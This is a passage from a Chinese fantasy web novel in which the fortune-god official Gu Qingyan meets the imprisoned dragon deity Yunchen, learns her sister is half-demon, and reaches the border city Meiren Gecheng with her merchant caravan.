古青言想起在溟白山下听到的传闻。这山中有尸山血海,夜夜有鬼魂哀鸣;路上瘸腿的将军断剑为拐,踽踽独行;而山顶,有邪恶的怪物,会吞噬每一个过路的行人。
她望向前路,苍穹之颠似乎近在咫尺,又好像远在天边。
山中的确有尸山血海,路上也的确有蹒跚的将军,那么山顶呢?难道真的有噬人的恶龙?
目光环过身边的人,经过数月的相处,已然十分熟悉。她又握住了腰间的法器,有些忐忑自己是否能护住他们。
但已无路可退,只能尽力一试。
通向山顶的路更加陡峭,他们一行人拉着货物,行走十分艰难,想必不能同三叔说的一般,一日便到达山顶。只是这溟白山中时间变幻奇异,古青言也分辨不出他们到底已经走了多久。
只知道崎岖的山路耗尽了他们的体力,强烈的飓风更是榨干了他们体内的灵力。当陡峭得几乎完全垂直的天路出现在眼前时,他们已经没有什么力气了。
古青言退了几步,帮一个拉车的伙计艰难的将货车推上了陡坡,就听见身后一声惊叫。
一辆货车的轮子被路边的冰石卡了一下,整个货车便侧翻了过去,在山坡上滚了几下,彻底坠落不见底的深渊。
那辆车的伙计下意识去救车,眼看就要踩空,被古青言一把拉了回来。
白色的长毫飞卷出去,试图将车救上来。
但也是徒劳,长豪倒飞回来卷在睿安的手上,睿安摇摇头,投递过来一个无奈的眼神:“山崖太高了,法术够不到。”
“大家小心些,先顾全自身,不要被货车带下去了。”古青言有些心有余悸地对众人道。
商队的伙计们都有些后怕,被古青言拉回来的那个更是脚一软坐到了地上。
古青言看着浩浩荡荡的商队,和前方根本不像人能走的天路,有些发愁。
“咯吱”“咯吱”,像是木板摇摇晃晃的声音。
古青言急忙回头看,怕是又有一辆货车掉下去了。
但当她看去时,所有货车都稳稳当当地停在地上。
难道是她听错了?古青言不信邪的又数了数,一、二、三......一个不少。
还真是她听错了。正要回身继续走,她又猛地回头!
怎么会一个都不少!刚才不是已经掉下去一个了吗?
仔细一看,才发现一辆货车被周围几个伙计隐隐围着,却又散得很开。那几人神色惊恐,眼睛眨也不眨地盯着那辆货车。
古青言走过去,仔细看了一番,只觉得除了货车上的货物微微有些凌乱以外,也没有什么旁的特别之处。
“这是怎么了?”睿安第一时间注意道古青言的行动,跟过来问。
古青言自然也不知道这是发生了什么,两个人齐齐将目光投向周围的伙计。
几个伙计你看我我看你,支支吾吾半天,一个胆大些的走上前回话,正是古青言方才拉回来的那位:“这车正是方才掉下山的那一辆。”
古青言微微瞪大了眼睛。
“不知怎么回事,竟又自己......飞了上来。”那伙计也是一脸不可置信。
那崖底深不可测,连睿安的法器都飞不下去。这货车只是普通的货车,哪里来的本事从那么深的地方自己飞上来?
“这是什么情况?”听到甄青竹也在询问,古青言正要把这怪事说与她。
嘴巴都还没张开,一股冷风灌了进来,声音被呛了回来。古青言这才发现甄青竹问的根本不是这件事!
她正惊骇地看向空中,那里有一辆货车,连车带货,全部飞了起来!
来不及去管那里,古青言眼前又有两辆货车飞了起来,连同拉车的伙计。
古青言顾不得多想就要去拽人,脚一离地,就再也落不下来了。
风雪又卷了起来,呼啸的声音灌入她的耳膜,紧接着便什么也听不到,看不到了。只觉得自己在空中狼狈地翻了好几个跟头,糊在脸上的一会是雪,一会又是乱飞的衣裙。
她调动全身的神力,只觉得丹田都要被榨干了。终于,她在空中一顿,稳住了身形。
还没等松了一口气,下一瞬,她整个人坠了下去。
脚下所有空气都仿佛被抽离,从两侧划过挤压着她的身体,衣裳紧紧地贴在身上。
扑通。
衣裳骤然增加了重量,冰冷的液体从四面八方涌过来,企图撬开她的眼睛,嘴巴,钻进她的鼻子,耳朵。
她浑身的肌肤都被摔得发麻,但求生地本能让她奋力地拨开压在身上的水。全身的灵力都好像已经在空中用尽了,在水中掀不起半点的波澜。她只能奋力地游,调动所有的力气。
终于,双手触碰到了什么坚硬的东西,应当是到岸边了。
她挣扎着爬了上去。用手抹掉脸上的水,她终于能睁开眼。
四周都是山,身下是一汪池水,在阳光下显现出奇异的宝蓝
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色,粼粼波光映射出她的倒影,以及她身下坐着的……根本不是什么岸边!
怀着悲壮的心情缓缓收回目光,手边摸到的坚硬物质是黑色的,一块一块的,每一块都比她整个手掌还要大,泛着七彩的流光,比粼粼的池水还要漂亮几分。
但古青言却没有心情欣赏这份漂亮了。
这是鳞片,龙的鳞片。
她兀地站起来,手忙脚乱地就要下去。脚下一滑,眼看就要跌进水里。
大地颤了颤。
我没这么重吧?古青言心惊胆战地想到。
眼前的黑色滚了滚,幅度不大,但巨大的水浪还是被搅了起来,拍打在古青言身上。
没事,反正衣裳已经湿了,她心态很好地想。
在彻底被水浸没之前,她努力看清真正岸边的方向,然后游了过去。
双脚终于再次踩在了地面上,古青言趴在岸边一块石头上大口呼吸着带着腥味的不新鲜空气,感受劫后余生。
好吧,感受早了。
一抬眼,一只金黄色的竖瞳就在脸前,比她的脸还大。把身子转过九十度去,才能看到另一只眼睛。
粗重的龙息打在身上,古青言差点被掀翻过去。
呼吸都凝滞了,她一动也不敢动,就这样与这双眼睛对视着。
龙是最高等的神兽族。
但神兽族早在千年之前就随着魔族一同消失在历史的长河里了。
当今三界只剩下一条龙,那就是隐居在仙界六连山中的云辰上神,从未听说过妖界之中还隐藏着这么一条黑龙。
她又想起了溟白山下的传闻,小心翼翼地瞥了一眼巨龙搭在岸边的前爪。冰冷的银光闪烁,比人还要粗的锁链赫然在其上缠绕。
“黑龙前辈,我无意冒犯......”古青言颤颤巍巍的声音被滔天的水流声遮盖了过去。一道通天的水幕拔地而起,古青言被震退了几步。
黑龙似乎回到了水里。
水幕落下时,欣长的身姿单脚站立在巨石上,衣诀翩翩,遗世独立……
好装。
古青言脑海里闪过这两个字,但不影响她拜下去的速度:“财神殿司银古青言,见过云辰上神。”
这条黑龙竟然就是云辰上神!
在仙界无限风光,备受尊崇的云辰上神竟然是被囚禁在这里的吗?
古青言觉得自己好像是发现了什么不得了的大秘密,默默往后缩了缩。
不会杀人灭口吧?一位上神杀她,简直如捏死一只蚂蚁一般轻易。
“不必多礼。”云辰上神轻飘飘地摆了摆手,终于从巨石上下来了。他活动活动腿,朝古青言走过来。
古青言浑身都紧绷了起来。
云辰来到她面前,眼睛直勾勾的盯着她。
古青言吓得大气都不敢出:“不会是在考量到底要不要杀我灭口吧?”
这个时候是不是应该说些什么“我什么都没有看到”“我可以毒哑自己”诸如此类的话抢救一下?古青言斟酌着用词。
“不许把我在这里的样子告诉凡心。”云辰冷冰冰的声音有些僵硬。
41. 尸陀林(八)
“啊?”古青言一时没有反应过来。
云辰就那样继续直勾勾地盯着她,直把她盯得头皮发麻,这才在电光火石之间想到她先前在仙界药府求药时遇到的那个十二分活泼的小仙子。正是云辰上神的独女——凡心。
古青言举起三根手指:“下官跟凡心仙子并不相熟,绝不会跟仙子多说一个字的。”想了想还是又加了一句“跟其他人也不会的。”
云辰面无表情地盯穿她的眼睛,面无表情地抬起手,一握。
那气势,古青言绝望的闭上眼睛,几乎以为自己的脖子就要断在这里了。
下一瞬,一股强大的气流穿透她的身体!
……衣裳霎时便干了。
古青言愣愣地睁开一只眼,又睁开一只眼,不可置信地摸了摸身上,好半天才想起来道谢:“多谢上神。”
然后她看到刚才还气势汹汹的人“扑哧”笑了:“你还挺实诚。若是你说与我家凡心丫头十分相熟,甚至是至交好友,岂不是能借机与我套套近乎?”
古青言想了一下,觉得十分有道理。
失策了。她有些惋惜。
“上神,不知您可有见到我的那些同伴们?”古青言斗胆问。
云辰哼了一声:“一个仙界神官,还是财神殿这等寸土寸金的好地方,竟把一群下界小妖成为自己的同伴,不掉价吗?”
古青言微笑着,尽量让自己的语气听起来不像反驳:“下官本就是妖界的一个小妖罢了,哪能因为飞升做了几年的神官,就忘了自己的来处呢。”
云辰懒散地掀起眼皮,凝视她半响:“不忘本的财神,已经被贬了一个了。”
他说的应当就是天山上囚禁着的那位前代财神金承日,为了人界的百姓而贪污受贿,被贬下界,成了那副人不人鬼不鬼的样子。
云辰随手扬了扬袖子,指向远处:“那呢。”
古青言这才发现,她方才是游到了天池中心的一座孤岛上,而她的同伴们则在天池四周的岸边,乌压压地躺了一片,不省人事。
她抬腿便想飞过去,蹬了好几下腿,却怎么也飞不起来,尴尬地又站了回来,对上云辰饶有兴致看她出丑的眼神。
古青言一怒之下在心里怒了一下:这上神怎么回事,多大年纪了还恶趣味地看一个晚辈的笑话!
年纪大且恶趣味的人轻咳了一声:“整个天池都在我的法场之内。你是妖族,天生受神兽一族的压制,飞不起来也是正常的。”
原来如此,不是自己的问题。古青言理了理衣袖,假装无事发生。
“你岸边那些同伴都没事,睡一会便醒了。岛上这个才真是棘手。”云辰站起来往小岛中央走去。
古青言跟着他,隐约感觉自己走进了好几层法阵,周围弥漫上一层温热的雾气。
岛中心果然有一个温泉池,水雾缭绕让人看不真切,但赤红的池水却十分显眼,以至于古青言走到池边才注意道池中漂浮着的红色衣裙。
“阿竹!”她焦急地飞扑过去。
并没有什么攻击性的掌印轻飘飘地将她拍了回来:“她是你什么人?”
古青言并不回答,而是充满戒备地盯着云辰,手掌悄悄移向腰间:“上神对她做了什么?”
即便是万分之一的胜机,她也要救阿竹。
云辰也不回答她的问题,悠哉游哉地在池边找了个躺椅:“你这位同伴可是半个魔族,你年纪轻不知其中利害,但我还是奉劝你离她远一些。”
“魔族?”这个词这些时日古青言听了不少了,但她从未想过会跟自己身边最亲近的人联系起来,“你胡说什么?她是我一母同胞的亲妹妹,怎么可能是魔族?”
“亲妹妹?”云辰有些新奇的抬了抬眼,“你们怎么可能是亲姐妹?”
看古青言一脸坚定的样子,他觉得更有趣了:“你们分明没有半点血缘关系,没有人告诉过你吗?”
“本非同根生,竟也姐妹情深呢。”娇俏的女子在她耳边这样说。
早在天山上时,轻红便同她说过阿竹与她并非亲姐妹,那时她不信。如今云辰上神也这样说……这两人与她无冤无仇,总不至于都要来诓她。
难道......她不是父亲母亲亲生的?所以父亲母亲才会更偏爱阿竹。
云辰见她拧着眉若有所思的样子,笑了笑:“虚假的姐妹情分还是趁早放下为好。我这龙血池会化去她的一身功力,免得她日后魔功大成,为祸三界……”
话还没说完,一道银色的物件从他身侧飞快地擦了过去。破水拍浪声伴着赤艳的浪花冲向岸边,穹银袋卷着甄青竹在水浪的掩护下快速折返回古青言的身边。
“我与阿竹纵使不是亲生的姐妹,但我们之间的感情也绝不是你口中虚假的姐妹情分。我真心待她,她亦真心待我,有没有血缘关系又有什么重要的?”古青言一手环抱着甄青竹,一手紧握着穹银袋,时刻准备应对云辰的追击。
云辰挑了挑眉,并没有旁的动作:“她可是魔族。”
古青言不为所动:“且不说魔族早已灭族千年,即便阿竹真的是魔族,我亦相信她绝不会做出伤天害理的事情。我自己的妹妹,我自会规劝约束,便不劳上神费心了。”
她忧心甄青竹的情况,已经做好了与云辰撕破脸的准备,也顾不上会不会激怒他,说话算不上好听。
“你此时得罪我,难道你为了你的妹妹,便不顾外面那些同伴的性命了吗?”话虽如此,云辰饶有兴致地看着她,似乎并没有多生气。
古青言握了握拳,手心里出了汗:“青言不才,虽与上神的境界相差甚远,却也是神官之身,于三界有上万香火供奉,法力加持。即便不是上神的对手,青言也愿拼死一战,将我的同伴们送下山去。”
“况且”古青言说到这顿了顿,还是换了委婉一点的说法,“上神如今在这溟白山中,与真正的上神之身想必还是有不小的差距的。”
云辰眯了眯眼:“不许将溟白山告诉凡心。”
古青言:……他莫不是个女儿控。
计上心头,她抱着甄青竹往后退了退:“您若放我们离去,我自不会在凡心
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仙子面前多嘴。但若您执意要为难我们……”
她腕上的银镯亮了亮:“我一定会在您杀了我之前联系上凡心仙子的!”
“住手!”云辰终于慌了,一直成竹在胸,尽在掌握的姿态被彻底打乱,“你这丫头怎么回事,我不过是与你开了一点小玩笑,做什么这样上纲上线的?”
“我这龙血池有脱胎换骨的奇效,如今三界之中除了我这一池,你可再找不出第二池了。你这妹妹确实出自魔族,我让她在我这池子里泡一泡,可有助于她脱离魔身本能的掌控,不至于真的魔化。我一腔好心,你可不能恩将仇报。”
他劈里啪啦说了一大堆,古青言好半响才消化过来,还是不太相信地又往后退了两步:“真的?”
云辰上神也学她方才的样子举起三根手指:“千真万确。如若不信,你可看看她的功力。在龙血池里泡了这么久,可有丝毫减退?”
古青言将信将疑地用神力探查了一遍甄青竹的身体。她眉头一皱,目光如剑,剑指云辰:“阿竹先前是七阶大妖,如今却只剩下六阶,你作何解释?”
“那是她六阶升七阶乃是修炼了魔功。我既然要助她脱离魔身,那自然要化去她的魔功。但有了龙血的滋养,你这位妹妹在修行一些时日,便可再次破阶了。”云辰急忙澄清,眼睛紧张地盯着古青言右手的银镯,都快吓成了竖瞳。
那是财神殿的千里传音镯,还真能在片刻之间便联系上他的宝贝女儿。
古青言又探了一边甄青竹的灵脉丹田,确实如云辰所说,虽然倒退了一阶,但却更加精纯,干净。
她想起甄青竹突破七阶时,正是在魔气充盈的本草森林。
阿竹怎么会突然在那里修行魔功?又是谁教了她?
在阿竹消失的那段时间里,她是不是见了什么人?
如果是这个人教了阿竹魔功,那么说明他自己便是一个修习魔功,或者说精通魔功的人。他会是利用魔气挑动两族战争的罪魁祸首吗?
古青言将甄青竹放下来,抬头看向云辰:“云辰上神,您是千年前便参与过仙魔大战的人。您对魔族的了解多吗?”
云辰听她问起这个,有些正色:“我半生都在跟魔族打交道。或者说,经历过我们那个时代的人,都与魔族有不可分割的牵连。”
古青言清亮的眸子认真地看着他,等待他继续说下去。
云辰却停住了:“你想打听魔族的事情,是为了你这妹妹……还是为了妖界?”
“这重要吗?”古青言也说不清到底是为了什么。或许是为了财神交给她的任务,或许是为了甄青竹,又或许……是为了这座溟白山上,那些徘徊不散的亡魂。
花战,三叔,和安公主……这些鲜活的面孔在她脑中一一闪过。
她只是觉得,她应该问清楚,弄明白。
“当然重要。”云辰认真地对上她的眼睛,“如果是为了你的妹妹,你想办法把她带到仙界去,自然可以保她不被彻底魔化。但若是为了妖界……”
“有些事情不是你应该插手的!”
42. 美人帐下犹歌舞(一)
古青言没想到云辰会这样说。
她虽未经历过千年前的那场战事,但也能从诸多卷宗上窥见,三界各族摒弃旧怨,同舟共济,牺牲了大量的人力物力,才将魔族举族全灭,魔界崩塌,才有了三界千年的和平安定。
驱逐魔族,守护三界和平,难道不是三界众望所归之事吗?
难道,还有什么不为人知的隐情不成?
古青言探究地看向云辰的眼睛,企图从中看出什么来。但云辰是个过了几千年的老怪物了,哪里是她能看透的。
“妖界乱事,关乎妖界千千万万子民的性命。我想,不管是我,还是云辰上神您,都没有资格替他们决定是否要插手这件事。”古青言态度坚决。但其实她心里也拿不准,云辰的态度到底如何。
她在赌,赌云辰没有他表现出来的这么老神在在,心若顽石:“况且我相信,上神愿意收容这些徘徊不去的亡魂在这溟白山,就绝不是冷酷无情之人。”
两人对视片刻,古青言咬着牙,让自己不败下阵来。
终于,云辰率先移开了目光:“本座可以告诉你。只是,你就不怕落得像你们那位前代财神一般的下场吗?”
古青言笑了:“我一不贪赃枉法,二不以权谋私。堂堂正正地办案,清清白白地做官,如何能落得那般下场?”
“还没长大的孩子话。”云辰斥了一句,脸上却有了些难明的笑意。
古青言便知道她赌对了,云辰就是个面硬心软的假老虎。
“你想问什么?”云辰问她。
古青言正色:“我想问,千年前,魔族是否真的举族全灭?”
“唔”云辰不知从哪里摸出来一壶酒,递过来想要给古青言分享,被古青言无情婉拒,露出一个“你没有口福”的遗憾表情。
“若你问的人是仙帝,他一定会告诉你”他自饮自酌起来,“是的。”
“但你问的人是我,我会告诉你。”
“是,也不是。”
古青言不明白。
“魔族到底是什么?”她又问。
云辰看着他,嘴里吐出两个字:“是人。”
“人?”古青言不解,“是人族?”
云辰笑着摇了摇头:“人族是狭义上的人。其实人族,妖族,仙族,魔族都是人。”
“人心复杂,善恶同在。若是心中的善战胜了恶,便可得到成仙;若是心中的恶战胜了善,那么便会产生心魔。当心魔掌握了对人的全部控制权,人也便成了魔。”
“这也就回答了你的第一个问题。这世上只要还有人在,便会有魔。”
古青言听得云里雾里。
云辰又摸出来一壶酒,闻起来与先前味道不同。他坚持不懈地把酒推销给古青言。
古青言微笑推远,在云辰的骚扰下抽空思考问题:“既然魔是由人而来,那么魔是否还能再变回人呢?”
酒瓶当啷碰撞的声音一顿:“我不知道。”
“连您也不知道吗?”古青言有些惊讶。
云辰有些好笑,面上又有些苦涩:“正常人遇到魔族,都是一杀了之。没有人会问魔族是什么,更不会有人会去把魔再变成人。”
古青言抿了抿唇,忽然有些不知道该问什么了。
她本想知道知道魔族当年是否有遗留下来的幸存者,这个人,或许就是在背后搅弄风云之人。
可是云辰却说,人人都可以是魔。
那么,妖界的战事到底从何而起?是有人故意挑起?还是两族因世代仇恨而产生了心魔?
如果再遇到如柳女那般的入魔之人,她又该怎么做?一杀了之吗?
她摊开双手,看着自己看似洁白干净的掌心。她永远也忘不了,将柳女的魂魄打碎的那一刻,内心的虚妄。
他们是人啊。
秀眉皱成了一团化不开的阴云,嘴角也向下弯了起来,一副苦大仇深的样子。
“想不通就别想啦。”云辰又翻出一瓶酒,斩钉截铁地放到古青言面前,“提前焦虑这些做什么呢?或许当你遇到的那一刻,自己便会有答案。多思多虑,当心生了心魔。”
云辰吓唬她。
但古青言瞬间就把眉头松开了:“我不喜喝酒。”
云辰的眉头却皱上了:“没有人不喜欢喝酒。”
古青言正要反驳。
“如果有,那一定是没喝过我酿的酒。”
古青言:……
她站起来往后挪了挪,扶起甄青竹,假笑道:“多谢上神为我解惑了。若上神没有别的吩咐,下官就不叨扰了。”
说着转身便要走。
走了一步,便走不动了。接着,胳膊也动不了了,脑袋也转不了了。
甄青竹顺着她的肩头滑了下去,被云辰拎着扔到了一边。
她张了张嘴,带着果香和酒香的水流如小小的游龙一般,顺着她的喉管流进了腹中。
一句话也没能说出来,她就失去了意识。
最后只听到云辰得意洋洋的声音:“送你一场造化。”
再睁开眼时,古青言对上的是一双墨色的眸子,清清浅浅,正满是关切地看着她。
见她醒来,那双眸子亮了几分:“你醒了?感觉怎么样?是不是掉下来的时候摔到了?”
古青言吞了吞不争气的口水,发现自己正躺在睿安怀里,整个人被他揽着,靠的十分近。
她心忙意乱地就要起身,甄青竹一个飞扑,正巧又把她撞了回去:“言言,你没事吧呜呜呜。方才大家都没事了,就你一个人昏迷不醒,吓坏我们了呜呜呜。”
一把鼻涕一把泪,吵的古青言当场想再昏过去。
一双修长的手覆上她的额头,十分贴心地帮她揉了揉太阳穴。本是醒神之用,古青言却觉得更晕了。
她终于推开甄青竹,从睿安的怀里逃了出来。站起来看了一圈,商队众人都没缺胳膊少腿,神采奕奕地看着她。
他们还在天池边上,似乎是在先前晾晒商队一行人的岸边。只是脚下……多了些奇怪的纹路。以她脚下这一块地为中心蔓延开来,覆盖了整个商队所处之地。
“这是什么?”她问。
虚空中的声音回答了她:“我刻画了一道传送阵,会将你们直接送到你们想要去的地方。”
是云辰的声音。古青言看了看四周,睿安几人都神色如常,似乎只有她一个人听得到。
她想起昏迷过去之前云辰的话,好像是说要送她一场造化?她感受了一下自身……也没什么变化呀。
云辰似乎知道她心中所想似的,声音得意极了:“我送你的造化你一时还消化不了,待到时机成熟,你定会庆幸今日遇到我。”
古青言撇撇嘴,不置可否。
虚空中的人却似乎十分不满她的态度,大地颤了两颤,脚下的纹路流动起来,白晃晃的光骤然扩大数倍,似乎不耐烦的急要将他们送走似的。强烈的光刺得眼前一片空白,古青言隐约听到商队众人因这突如其来的变故有一些骚乱。
“大家莫慌,这是传送阵,会将我们送到目的地去。”古青言安抚道。
在被白光彻底吞没之前,云辰给了她最后一句警醒:“你这妹妹只是半个魔族。今后是魔是妖,全在她的一念之间。我言尽于此,你好自为之。”
“多谢上神。”她低声道。
片刻后,白光散去,眼前的景致已然大变。
灰黑色的城墙巍峨矗立,带来一种天然的压迫感。其上肉眼可见无数斑驳的痕迹,俨然一块饱经风霜与岁月的大型盾牌。
与城墙的庄严古朴格格不入的是,城门的正上方挂着一块巨大的匾额。看着很新,流光溢彩,一看就花了重金打造的样子。上边用金边镶着四个大字——
“美人歌城。”甄青竹念叨着这几个字,“那这座城里,必然有歌有美人了?”
这座城是植妖族边境战场上的唯一一座大城。他们自南而来,见到的是南城门,还较为安定祥和。但若是从北城门出去,那立时便可以看到战场军营,硝烟阵阵。
“我们快进去吧!”甄青竹兴奋的喊了一声,“在野外待了这么久,可算又见到一座城了!”
张辞晚也被她感染得有了些笑意,紧跟了上去。
古青言却没有这么乐观,她注意到睿安一直没有说话,神色不明,便落后几步走到了他边上。
但走过来又不知道要说什么,便沉默地陪他往里面去。
倒是睿安先开了口:“我从前来过这里,只不过那时它还不叫这个名字。”
“那它叫什么名字?”古青言顺着他的话问。
“你看清楚,这的的确确就是物妖族官方发行的通关文牒,先前在你们植妖族的春枝镇等几座城池都是过了明路的。”甄青竹拿着一纸文书,义愤填膺,“你连你们自己官府的印信都认不得了吗?”
“老子说你这通关文牒有问题那就是有问题,没有印信别想入城!还不快滚!”守门的士兵一把将文书扔回甄青竹身上,脑袋抬得比那城墙还要高。
甄青竹气极,拳头一握就快要忍不住冲上去。
古青言身旁的人几步上前将她拉了回来,低声在她耳边说:“甄姑娘,要想入城,得向这守城之人交一定的保护费才行。”
睿安说这话时面无表情,眉眼垂得极低。但古青言就是觉得,那漂亮的睫羽底下,暗藏了杀意。
“保护费?”甄青竹一想,也明白了,“多少钱?”
“二两。”守门的士兵从鼻孔里哼出这两个字。
甄青竹没好气地从荷包里逃出二两银子递过去。那士兵看也没看,一个白眼翻了上去:“金子。”
“二两金子!”甄青竹骤然拔高了声音,“你怎么不去抢啊?”
周围的行人难得没有被这洪亮的嗓门夺去注意力,依旧各自做着各自的事情。
守门的士兵更加不耐烦了:“没钱你进什么城?这可是我们英勇无双的百胜王殿下亲自坐镇的城池,也是你这种穷鬼配踏足的地方?”
甄青竹一口气气得没喘上来,胳膊被睿安抓着也要去踹那狗眼看人低的守卫:“你说谁是穷鬼!”
古青言和睿安两个人合力才拖住了她。古青言拿出一块金子,被甄青竹一把抓住:“言言你还真要给他啊?我进去这一趟都不一定赚得了这么多!”
“我不进去了!我不进去了!咱们回家,叫这狗日的植妖族自生自灭去吧!”她把古青言握着金子的手死死抱在怀里,开始撒泼打滚起来。
古青言觉得自己跟甄青竹出来一趟,脸皮变厚了许多,竟不像从前那般丢人得要找个地缝钻进去,竟也能坦然自若地应对了:“那你说怎么办?二哥哥可还在城中等着我们呢。”
甄青竹皱巴着一张脸,但是没声了。古青言终于把手抽了出来,递给守门的士兵。
也不用再多话,那士兵拿在手里颠了颠,扬了扬下巴,便有会看眼色的狗腿子为他们放了行。
终于入了城。
城中的景象可真真是应了它的名字,歌舞升平,美人如云。
道路两旁载满了各式各样的花,风一动,便有纷纷扬扬的花瓣落下来,铺成一地花毯。偶有没铺到的地方,树上,丛中,某一朵开得极艳的花便会化作舞姿灵动的美人,踏着花瓣,将那一处补上。
甄青竹一眼就入了迷,盯着一个只披了外衫,里面什么也没穿的男花妖直流口水
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睿安往前走了一步,正巧挡住了古青言偷偷乱瞟的视线。他微微低了一点头,背着光,英挺的脸部轮廓便分外清晰了起来。薄唇微微勾了一点:“青言方才是要问这座城曾经的名字吗?”
古青言点点头,其实脑袋里没装什么东西。
“让开!让开。”
人群忽然大乱,所有行人飞快地向街边的各个巷子四散。东西左右,毫无章法,撞到人了也顾不上攀扯。在街上扬花的花妖们也迅速退回了树上,有的惊慌下恰巧坠在了同一个枝头,惹的花枝乱颤,一地残花。
城门大开,马蹄声和嘶鸣声凌乱而刺耳。一个穿着胄甲的男人骑着一匹高头大吗,横冲直撞地闯了进来,一马鞭抽飞了方才对着甄青竹耀武扬威的守卫:“百胜王殿下的要紧事你也敢拦?”
马蹄没有丝毫停留,直入城中。那马跑得十分野性,脖子和嘴巴却被男人手里的缰绳死死的拽着,都勒出了血痕。
战马向来都是骑兵在战场上最忠实的伙伴,古青言从未见过这般驾驭战马的。走近了一瞧,她顿时明白了原委。
那马不是寻常未开智的战马,而且有灵智,甚至可以化人形的马妖!
古青言心神一震,就这愣神的片刻功夫,那马蹄便直直朝她身上踏来!
胳膊被重重地扯了一下,她往后跌了几步,贴上一个有温度的身躯。
“啪”马鞭抽开皮肉的声音落在古青言心头,心揪了起来,嘴巴也跟着打颤:“隐怀,你……”
睿安的手捂住了她的唇,他将头埋在她的肩窝出,不让旁人看清他的模样。
马鞭沾了血,握着它的男人视线在睿安身上停留了几瞬,皱起了眉。
古青言感受到揽着她的胳膊紧绷着,用力到微微发颤,却一动也不动。
“统领,吉时快到了,怎么不走了?”马鞭男子身后的人提醒道。
那人似乎真的有急事。古青言看到他身后跟了浩浩荡荡的一队人,每匹马上都满载着东西。那些东西都用上好的红绸或包裹或装饰着。尤其是为首的马鞭男子,他的马后拖了两只雁妖,奄奄一息,但还没完全断气,被打扮成聘雁的样子。
马蹄声终于远去了。
睿安从古青言的肩窝处抬起头来,嘴唇都有些发白。
“你是不是受伤了?”古青言转到他身后去看他的伤。宽厚的脊背上,两道醒目的血痕几乎见骨,在素白的衣衫上分外瞩目。
“你怎么不躲啊?”她的眼睛里,是她自己都没有察觉到的心疼。
睿安笑了笑:“若是这一鞭打不中,他定不会善罢甘休的。”
古青言抿了抿唇,没有问睿安为何会对那人如此了解,而是道:“找个地方我给你上点药吧。”
那一行人匆匆一过便将街上搅的人仰马翻,古青言再回过头时,甄青竹他们已经被人流冲散了。古青言只好自己先找了一家客栈,帮睿安将沾了血的衣裳褪了下来。
方才在街上被这人挡了视线,没能看清那位衣衫半褪的花妖。如今倒是一报还一报,光裸着上身的玉妖就垂着头,安安静静地坐在眼前。
不过古青言却是没什么心思了,她从穹银袋里翻出最好的伤药,用指尖沾了一点擦在睿安的伤口上。
她一边擦药,一边小心观察着睿安的神色,生怕弄疼了他。
可这怎么会不痛呢?
眼前人神色却没太多变化,只是眉心微蹙了蹙,薄唇抿得更紧了些罢了。
“对不起。”她低声说,“若我没有走神,你也不会为了救我受伤。”
上好了药,睿安把新换的干净里衣拢到肩头,手指就因为古青言的话而顿住:“这分明是行凶者的错,做什么要揽到自己身上?”
这人的神色温柔极了。古青言被这样温柔的眼神注视着,才恍然间觉出些不好意思来。她伸手帮睿安拢了拢还没穿好的里衣,又觉得这举动不妥,退后了几步转过身去:“你快把衣服穿上吧,别着凉了。”
身后传来一声轻笑,接着是悉悉碎碎穿衣服的声音,悉碎了好半天都没有消停。
直到清润的声音再次响起:“方才听店家说今夜城中有灯会,可要一起去逛逛?”
“你不用养伤的吗?”古青言转过头问他。
“一点小伤……”话说到一半,看到古青言一脸不赞同的样子,睿安无奈笑笑,转了话锋,“再说了,我们得去跟甄姑娘他们汇合啊。”
“好吧。”
古青言思量再三,勉强同意,小心翼翼地扶着睿安出门。
睿安也没再拒绝,顺着她的动作将一只手搭在了她的手臂上。
城中果然已经挂起了灯笼,华彩高照,灯火璀璨。走在街上的男男女女都提着一盏景致的灯笼,两两成对的并肩走着,看起来十分和谐恩爱。
但古青言看着这些人,总觉得哪里怪怪的。
嗯,自从她回到妖界,就没有一天不觉得这世界怪怪的。
“这些人不是寻常百姓。”睿安也买了一盏灯,含羞草形状的,递到了古青言手里,“如果我猜的不错,应当是那位百胜王命人假扮的。”
“你怎么知道?”古青言接过灯笼,有些欣喜,拿在手里一遍又一遍地瞧。
“这座城连入城的过路费都要二两金子,寻常百姓哪里会到这里来做生意,又怎么会有这么好的兴致参加什么灯会?”睿安轻声答道。
古青言一听,也觉得有理。她想了想,又问:“今日又不逢年节,这百胜王为何要在城中办这一场灯会?”
这回不待睿安回答,卖灯的摊贩便插嘴道:“这你都不知道?今日百胜王在良玉台设宴,向花将军下聘。这场灯会正是为了庆祝此事。”
44. 美人帐下犹歌舞(三)
古青言饶有兴致地看着这一场闹剧,问古青舟:“如今边境战场上能决定这场战争走向的,除了百胜王,这花将军可能算一个?”
古青舟沉吟片刻,道:“花将军虽然出身微末且根基尚浅,但兵权在握,在民间也威望极高。想必就算是植妖族朝廷,也得考虑几分她的态度?”
这话说得极不肯定,让古青言犹豫起来。
“你是想越过百胜王,直接与花将军谈议和之事?”睿安一眼看出了她的想法。
古青言点点头:“我观百胜王行事,不是个明事理的人。与他谈,怕是说不通。”
几句话的功夫,百胜王那边的架终究是没能打起来。叶副将雄赳赳地带着一队人来,又雄赳赳地带着一队人走了。只是走时嘴角压着一抹难以掩藏的笑,明显比来时不耐烦的样子开怀许多。
再看百胜王,镶了金边的桌子被削掉一个角,桌子上的果子点心都成了烂泥,如战场上的碎肉一般。
百胜王脸上的猪肝色还没消下去,叉着腰坐在椅子上,呼吸起伏剧烈,显然被气得不轻。
他身旁围了一圈侍从,七嘴八舌地安慰着他,一会夸耀百胜王英明神武,大人大量,一会又将远在前线的花将军贬的一文不值,说她是个头发长见识短的粗鄙村妇。四下的宾客也急着打哈哈圆场。
这种事这些人显然是做惯了的,百胜王十分受用,没几句话便被哄得脸色好看了不少。
“行了!”他一拍桌子一挥胳膊,将周围这一圈人吆远了些,眼前视野瞬间开阔了不少。他的目光一层层地扫下去,目之所及的宾客瞬间装出一副与他同仇敌汰的样子。
余光瞥见下首端庄守正的异国官服,他的目光停了下来:“古使君?”
古青舟猝然被点名,站起来周周正正地行了个官礼:“百胜王。”
“使君远道而来,住的可还习惯?”百胜王一脸关切的样子,仿佛将使团冷了数日不肯接见的人不是他。
古青舟神情自若,客套地回了两句。
百胜王走到案前,自良玉台上俯瞰全城。他双臂一震:“本王这美人歌城,比之你们物妖族王都开灵城,如何?”
这是一个两国交互十分经典的问题。很基础,也很难答。
古青言看到使团中不少人都皱起了眉毛。
谁会将自家边境偏远之地的一座城与他国的王都作比较?未免太狂妄了一些。
周围人纷纷将目光聚拢到古青舟身上,想看看这位年轻的使君会如何应对。
